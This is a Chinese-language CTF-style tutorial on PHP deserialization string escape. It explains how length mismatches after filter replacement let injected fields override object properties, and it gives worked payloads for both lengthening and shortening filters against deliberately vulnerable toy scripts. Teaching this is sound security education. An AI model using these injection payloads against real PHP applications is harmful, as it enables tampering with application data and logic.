PHP反序列化字符串逃逸

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 

反序列化字符串逃逸利的就是利于字符串实际长度与先前声明的字符串长度不一致,而使部分字符串逃逸

下面有个例子

<?php
class escape{
    public $name = 'name';
    public $phone = 'phone';
    public $email = 'email';
}
$a = 'O:6:"escape":3:{s:4:"name";s:4:"name";s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";}';
$a = unserialize($a);
var_dump($a);

在上面这个程序中,序列化字符串是按照序列化规则书写的,所以他的输出是正常的

class escape#1 (3) {
  public $name =>
  string(4) "name"
  public $phone =>
  string(5) "phone"
  public $email =>
  string(5) "email"
}

但如果我将序列化字符串的部分修改成如下

<?php
class escape{
    public $name = 'name';
    public $phone = 'phone';
    public $email = 'email';
}
$a = 'O:6:"escape":3:{s:4:"name";s:4:"name";s:5:"phone";s:6:"hacker";s:5:"email";s:6:"hacker";}";s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";}';
$a = unserialize($a);
var_dump($a);

其结果为

class escape#1 (3) {
  public $name =>
  string(4) "name"
  public $phone =>
  string(6) "hacker"
  public $email =>
  string(6) "hacker"
}

通过上面的例子我们能发现,原本phone和email被name中虚假的phone和email替换了

那么一般什么是后会考察字符串逃逸呢?

当需要对反序列化字符串进行正则匹配替换时会考察字符串逃逸

字符串逃逸会有两种类型,一种是增长逃逸,另外一种是缩短逃逸

例一(增长逃逸)

<?php
highlight_file(__FILE__);

class escape{
    public $name = 'name';
    public $phone = 'phone';
    public $email = 'email';
}
function abscond($string){
    return preg_replace('/ny/', "nyctf", $string);
}
$a = new escape();
$a -> name = $_GET['name'];
$arr = get_object_vars(unserialize(abscond(serialize($a))));
if($arr['phone'] == 'iphone'){
    echo "flag";
}

这题我们可以控制的是escape

我们可以先把代码copy到自己的编辑器上,然后把序列化字符串跑出来,再进行修改

这是原始的序列化字符串

O:6:"escape":3:{s:4:"name";N;s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";}

我们需要动刀子的地方就是 name

我们可以先试着上传(实际是在本地尝试,因为本地我们可以修改代码用以显示更多有用的信息)

flag = nynyny";N;s:5:"phone";s:6:"iphone";s:5:"email";s:7:"e11mail";}

序列化字符串变成了这样

O:6:"escape":3:{s:4:"name";s:59:"nyctfnyctfnyctf";N;s:5:"phone";s:6:"iphone";s:5:"email";s:7:"e11mail";}";s:5:"phone";s:5:"phone";s:5:"email";s:5:"email";}

s:59 和 "nyctfnyctfnyctf" 不对应

我们只要多添加几个ny,直到这一大串和前面的声明部分的长度一致即可

经过尝试,payload为

nynynynynynynynynynynynynynynynynyny";s:5:"phone";s:6:"iphone";s:5:"email";s:7:"e11mail";}

例二(缩短逃逸)

<?php
highlight_file(__FILE__);

class escape{
    public $name = 'name';
    public $phone = 'phone';
    public $email = 'email';
}
function abscond($string){
    return preg_replace('/nyctf/', "ny", $string);
}
$a = new escape();
$a -> name = $_GET['name'];
$a -> email = $_GET['email'];
$arr = get_object_vars(unserialize(abscond(serialize($a))));
if($arr['phone'] == 'iphone'){
    echo "flag";
}

在这里会有两个可控参数,其中name需要传递被过滤字符,phone传递逃逸字符

我们构造出这样子的序列化字符串

O:6:"escape":3:{s:4:"name";s:75:"nyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctf";s:5:"phone";s:5:"phone";s:5:"email";s:53:"1";s:5:"phone";s:6:"iphone";s:5:"email";s:5:"email";}";}

这里面的name包含了原本的phone,而现在的新phone则是我们在传参时恶意伪造的phone

name -> nyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctfnyctf
phone -> 1";s:5:"phone";s:6:"iphone";s:5:"email";s:5:"email";}